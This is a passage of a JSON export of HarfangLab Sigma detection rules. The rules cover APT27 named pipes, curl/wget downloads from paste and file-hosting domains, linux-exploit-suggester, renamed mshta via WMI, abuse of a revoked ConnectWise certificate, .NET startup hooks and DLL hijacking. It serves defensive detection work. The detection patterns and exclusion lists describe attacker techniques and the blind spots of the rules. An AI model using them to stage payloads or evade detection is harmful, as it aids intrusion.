+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607956Z",
+  "creation_date": "2026-03-23T11:45:34.607971Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607979Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intrinsec.com/apt27-analysis/",
+    "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html",
+    "https://attack.mitre.org/techniques/T1106/"
+  ],
+  "name": "t1106_apt27_named_pipe_creation.yml",
+  "content": "title: Suspicious APT27 Related Named Pipe Created\nid: 24ca43a5-7027-4676-8c7f-991dff78cc7c\ndescription: |\n    Detects the creation or connection of/to a Named Pipe named \"testPipe\".\n    The name is related to the APT27 threat, more specifically their HyperBro malware.\n    It is recommended to verify that this is a legitimate developer pipe.\nreferences:\n    - https://www.intrinsec.com/apt27-analysis/\n    - https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html\n    - https://attack.mitre.org/techniques/T1106/\ndate: 2022/10/26\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1106\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.ThreatActor.APT27\n    - classification.Windows.Malware.HyperBro\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName: '\\testPipe'\n\n    exclusion_hellodoc:\n        ProcessImage|endswith:\n            - '\\IMAGINE Editions\\HelloDoc\\HelloDoc.exe'\n            - '\\imagine editions\\hellodoc\\HelloDoc Acces Vidal.exe'\n        ProcessSigned: 'true'\n\n    condition: selection and not 1 of exclusion_*\nfalsepositives:\n    - Legitimate developer creation of a named pipe called \"testPipe\"\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "24ca43a5-7027-4676-8c7f-991dff78cc7c",
+  "rule_name": "Suspicious APT27 Related Named Pipe Created",
+  "rule_description": "Detects the creation or connection of/to a Named Pipe named \"testPipe\".\nThe name is related to the APT27 threat, more specifically their HyperBro malware.\nIt is recommended to verify that this is a legitimate developer pipe.\n",
+  "rule_creation_date": "2022-10-26",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "250b3fce-b831-41da-8d48-7ece2c3de1e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 1,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599825Z",
+  "creation_date": "2026-03-23T11:45:34.599829Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599836Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1105_curl_suspicious_link_linux.yml",
+  "content": "title: File Downloaded via curl or wget from Suspicious URL (Linux)\nid: 250b3fce-b831-41da-8d48-7ece2c3de1e0\ndescription: |\n    Detects the usage of curl or wget to download a file from public hosting services that may contain a malicious payload.\n    This technique is used by attackers to download payloads that are hosted on public websites.\n    It is recommended to perform an analysis of the downloaded file to check if the content is malicious.\nreferences:\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/01/27\nmodified: 2025/10/28\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Curl\n    - classification.Linux.Behavior.FileDownload\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/wget'\n            - '/wget2' # https://discussion.fedoraproject.org/t/f40-change-proposal-wget2-as-wget/96422\n            - '/curl'\n        CommandLine|contains:\n            - 'cdn.discordapp.com'\n            - 'api.telegram.org'\n            - 'www.dropbox.com'\n            - 'api.dropboxapi.com'\n            - 'content.dropboxapi.com'\n            - 'transfer.sh'\n            - 'anonfiles.com'\n            - 'gofile.io'\n            - 'file.io'\n            - 'raw.githubusercontent.com'\n            - 'gist.githubusercontent.com'\n            - 'pastebin.com'\n            - 'mediafire.com'\n            - 'mega.nz'\n            - 'ddns.net'\n            - '.paste.ee'\n            - '.hastebin.com'\n            - '.ghostbin.co/'\n            - 'ufile.io'\n            - 'storage.googleapis.com'\n            - 'send.exploit.in'\n            - 'privatlab.net'\n            - 'privatlab.com'\n            - 'sendspace.com'\n            - 'pastetext.net'\n            - 'pastebin.pl'\n            - 'paste.ee'\n            - 'pastie.org'\n            - 'artchive.org'\n            - 'paste.c-net.org'\n\n            # https://github.com/gianlucaborello/libprocesshider/archive/refs/heads/master.zip\n            # https://github.com/gianlucaborello/libprocesshider/archive/25e0587d6bf2137f8792dc83242b6b0e5a72b415.zip\n            - 'https://github.com/*/archive/*.zip'\n\n    exclusion_legitimate_url:\n        CommandLine|contains:\n            - ' https://raw.githubusercontent.com/Orange-Cyberdefense/*IOC'\n            - ' https://raw.githubusercontent.com/google/'\n            - ' https://raw.githubusercontent.com/Homebrew/'\n            - ' https://raw.githubusercontent.com/wp-cli/'\n            - ' https://raw.githubusercontent.com/nextcloud/'\n            - ' https://raw.githubusercontent.com/laurent22/joplin/'\n            - ' https://raw.githubusercontent.com/ohmyzsh/'\n            - ' https://raw.githubusercontent.com/nvm-sh/'\n            - ' https://raw.githubusercontent.com/docker-library/'\n            - ' https://raw.githubusercontent.com/anchore/'\n            - ' https://storage.googleapis.com/git-repo-downloads/'\n            - ' https://github.com/scylladb/'\n            - ' https://raw.githubusercontent.com/microsoft/'\n            - ' https://raw.githubusercontent.com/community-scripts/ProxmoxVE/'\n            - ' https://raw.githubusercontent.com/helm/'\n            - ' https://raw.githubusercontent.com/pyenv/'\n            - ' https://raw.githubusercontent.com/onyx-dot-app/'\n\n    exclusion_commandline:\n        CommandLine|contains: 'curl -vvv --max-time 0 --proxy * --proxy-user * -H Authorization: Bearer '\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_netdata:\n        - CommandLine|contains:\n            - ' https://raw.githubusercontent.com/netdata/netdata/master/packaging/installer/'\n            - ' https://storage.googleapis.com/netdata-nightlies/'\n        - ParentCommandLine: 'bash /etc/cron.daily/netdata-updater'\n\n    exclusion_clamav:\n        ParentCommandLine: '/usr/bin/bash /usr/local/sbin/clamav-unofficial-sigs.sh'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "250b3fce-b831-41da-8d48-7ece2c3de1e0",
+  "rule_name": "File Downloaded via curl or wget from Suspicious URL (Linux)",
+  "rule_description": "Detects the usage of curl or wget to download a file from public hosting services that may contain a malicious payload.\nThis technique is used by attackers to download payloads that are hosted on public websites.\nIt is recommended to perform an analysis of the downloaded file to check if the content is malicious.\n",
+  "rule_creation_date": "2023-01-27",
+  "rule_modified_date": "2025-10-28",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "252c798b-019c-4d67-848f-3b675cd5c18f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613378Z",
+  "creation_date": "2026-03-23T11:45:34.613381Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613389Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mzet-/linux-exploit-suggester/",
+    "https://attack.mitre.org/techniques/T1595/002/"
+  ],
+  "name": "t1595_002_linux_exp_suggester_bash.yml",
+  "content": "title: Linux-Exploit-Suggester Hacktool Executed via Bash\nid: 252c798b-019c-4d67-848f-3b675cd5c18f\ndescription: |\n    Detects the execution of linux-exploit-suggester, an open-source shell script for suggesting privilege escalation exploits on Linux.\n    Adversaries may use this script to identify a way to elevate their privileges.\n    It is recommended to check for other suspicious activities by the process' parent.\nreferences:\n    - https://github.com/mzet-/linux-exploit-suggester/\n    - https://attack.mitre.org/techniques/T1595/002/\ndate: 2022/11/21\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.reconnaissance\n    - attack.t1595.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Script.Bash\n    - classification.Linux.HackTool.LinuxExploitSuggester\n    - classification.Linux.Behavior.Discovery\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_script:\n        CommandLine|contains: 'linux-exploit-suggester.sh'\n    filter_script:\n        ParentCommandLine|contains: 'linux-exploit-suggester.sh'\n\n    selection_cmd:\n        CommandLine:\n            - \"grep -E -i ^networkmanager-vpnc|network-manager-vpnc-[0-9]+\"\n            - \"grep -E -i ^polkit|policykit-1-[0-9]+\"\n\n    condition: (selection_script and not filter_script) or selection_cmd\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "252c798b-019c-4d67-848f-3b675cd5c18f",
+  "rule_name": "Linux-Exploit-Suggester Hacktool Executed via Bash",
+  "rule_description": "Detects the execution of linux-exploit-suggester, an open-source shell script for suggesting privilege escalation exploits on Linux.\nAdversaries may use this script to identify a way to elevate their privileges.\nIt is recommended to check for other suspicious activities by the process' parent.\n",
+  "rule_creation_date": "2022-11-21",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1595.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "254f2253-5e75-41de-a4fb-bbfa86c1a831",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604309Z",
+  "creation_date": "2026-03-23T11:45:34.604312Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604320Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/valak-evolution/",
+    "https://twitter.com/ForensicITGuy/status/1334734244120309760",
+    "https://app.any.run/tasks/6e90f38e-8b34-4e12-9a33-3bc5e3b4d81e/"
+  ],
+  "name": "t1047_group_ta551_wmi_renamed_mshta.yml",
+  "content": "title: Possible Lateral Movement via Renamed MSHTA through WMI\nid: 254f2253-5e75-41de-a4fb-bbfa86c1a831\ndescription: |\n    Detects when a renamed mshta.exe binary is executed by WMI (child of wmiprvse).\n    This technique is heavily used by the TA551 group actor when executing a malicious payload received by spear phishing campaigns.\n    It is recommended to investigate the origin of this execution through the authentication telemetry and to analyze child processes to look for malicious content or actions.\nreferences:\n    - https://unit42.paloaltonetworks.com/valak-evolution/\n    - https://twitter.com/ForensicITGuy/status/1334734244120309760\n    - https://app.any.run/tasks/6e90f38e-8b34-4e12-9a33-3bc5e3b4d81e/\ndate: 2020/12/08\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Mshta\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\wmiprvse.exe'\n        OriginalFileName: 'MSHTA.EXE'\n\n    filter_image:\n        Image|endswith: '\\mshta.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "254f2253-5e75-41de-a4fb-bbfa86c1a831",
+  "rule_name": "Possible Lateral Movement via Renamed MSHTA through WMI",
+  "rule_description": "Detects when a renamed mshta.exe binary is executed by WMI (child of wmiprvse).\nThis technique is heavily used by the TA551 group actor when executing a malicious payload received by spear phishing campaigns.\nIt is recommended to investigate the origin of this execution through the authentication telemetry and to analyze child processes to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-12-08",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2557816c-987b-4020-8958-02526e2e549b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096803Z",
+  "creation_date": "2026-03-23T11:45:34.096805Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096809Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.gdatasoftware.com/blog/2025/06/38218-connectwise-abuse-malware",
+    "https://x.com/smica83/status/1977489233712717894",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_connectwise_revoked_certificate.yml",
+  "content": "title: Process Executed Signed with Connectwise Revoked Certificate\nid: 2557816c-987b-4020-8958-02526e2e549b\ndescription: |\n    Detects the execution of a process signed using the Connectwise revoked certificate.\n    This certificate has been revoked because it was abused by threat actors to sign malicious ConnectWise binaries.\n    Since March 2025, threat actors have been abusing validly signed ConnectWise binaries by embedding custom malicious content via Authenticode stuffing without breaking the signature.\n    It is recommended to investigate the process to determine its legitimacy.\nreferences:\n    - https://www.gdatasoftware.com/blog/2025/06/38218-connectwise-abuse-malware\n    - https://x.com/smica83/status/1977489233712717894\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2025/10/13\nmodified: 2025/10/22\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.StolenCertificate\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessSignatureSignerThumbprint: '4c2272fba7a7380f55e2a424e9e624aee1c14579'\n\n    # Using Connectwise revoked certificate but not malicious\n    exclusion_image:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.ClientService.exe'\n            - '?:\\Program Files (x86)\\ScreenConnect Client (????????????????)\\ScreenConnect.WindowsClient.exe'\n            - '?:\\Program Files (x86)\\ScreenConnect\\Bin\\ScreenConnect.Service.exe'\n            - '?:\\Windows\\LTSvc\\LTSVC.exe'\n            - '?:\\Windows\\LTSvc\\LTTray.exe'\n            - '?:\\Windows\\LTSvc\\LTSvcMon.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Apps\\\\*\\\\????????.???\\\\????????.???\\\\*\\ScreenConnect.ClientService.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Apps\\\\*\\\\????????.???\\\\????????.???\\\\*\\ScreenConnect.WindowsClient.exe'\n            - '?:\\Program Files (x86)\\SAAZOD\\\\*'\n            - '?:\\Program Files (x86)\\ITSPlatform\\\\*'\n            - '*\\STAGO\\Stago.Psad.Client\\ScreenConnect\\ScreenConnect.ClientService.exe'\n            - '*\\STAGO\\Stago.Psad.Client\\ScreenConnect\\ScreenConnect.WindowsClient.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2557816c-987b-4020-8958-02526e2e549b",
+  "rule_name": "Process Executed Signed with Connectwise Revoked Certificate",
+  "rule_description": "Detects the execution of a process signed using the Connectwise revoked certificate.\nThis certificate has been revoked because it was abused by threat actors to sign malicious ConnectWise binaries.\nSince March 2025, threat actors have been abusing validly signed ConnectWise binaries by embedding custom malicious content via Authenticode stuffing without breaking the signature.\nIt is recommended to investigate the process to determine its legitimacy.\n",
+  "rule_creation_date": "2025-10-13",
+  "rule_modified_date": "2025-10-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2580b2f9-373b-4a4c-9b57-13e458627130",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098306Z",
+  "creation_date": "2026-03-23T11:45:34.098308Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098312Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md#atomic-test-2---dll-side-loading-using-the-dotnet-startup-hook-environment-variable",
+    "https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_sideloading_dotnet_startup_hook.yml",
+  "content": "title: Dotnet Startup Hook Environment Variable Set\nid: 2580b2f9-373b-4a4c-9b57-13e458627130\ndescription: |\n    Detects the registration of a dotnet startup hook using the DOTNET_STARTUP_HOOKS environment variable.\n    Adversaries can register a malicious assembly that will be executed whenever a .net core application is started.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md#atomic-test-2---dll-side-loading-using-the-dotnet-startup-hook-environment-variable\n    - https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/12/23\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'Cmd.EXE'\n        CommandLine|contains|all:\n            - 'set '\n            - 'DOTNET_STARTUP_HOOKS='\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2580b2f9-373b-4a4c-9b57-13e458627130",
+  "rule_name": "Dotnet Startup Hook Environment Variable Set",
+  "rule_description": "Detects the registration of a dotnet startup hook using the DOTNET_STARTUP_HOOKS environment variable.\nAdversaries can register a malicious assembly that will be executed whenever a .net core application is started.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "258b150d-0fe4-48e0-93bc-09d02567ecb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592069Z",
+  "creation_date": "2026-03-23T11:45:34.592072Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592080Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_microsoftedgesh.yml",
+  "content": "title: DLL Hijacking via microsoftedgesh.exe\nid: 258b150d-0fe4-48e0-93bc-09d02567ecb8\ndescription: |\n    Detects potential Windows DLL Hijacking via microsoftedgesh.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'microsoftedgesh.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "258b150d-0fe4-48e0-93bc-09d02567ecb8",
+  "rule_name": "DLL Hijacking via microsoftedgesh.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via microsoftedgesh.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "25bdc370-c782-4157-b467-3e74718d8b59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074695Z",
+  "creation_date": "2026-03-23T11:45:34.074697Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074702Z",
+  "rule_level": "low",
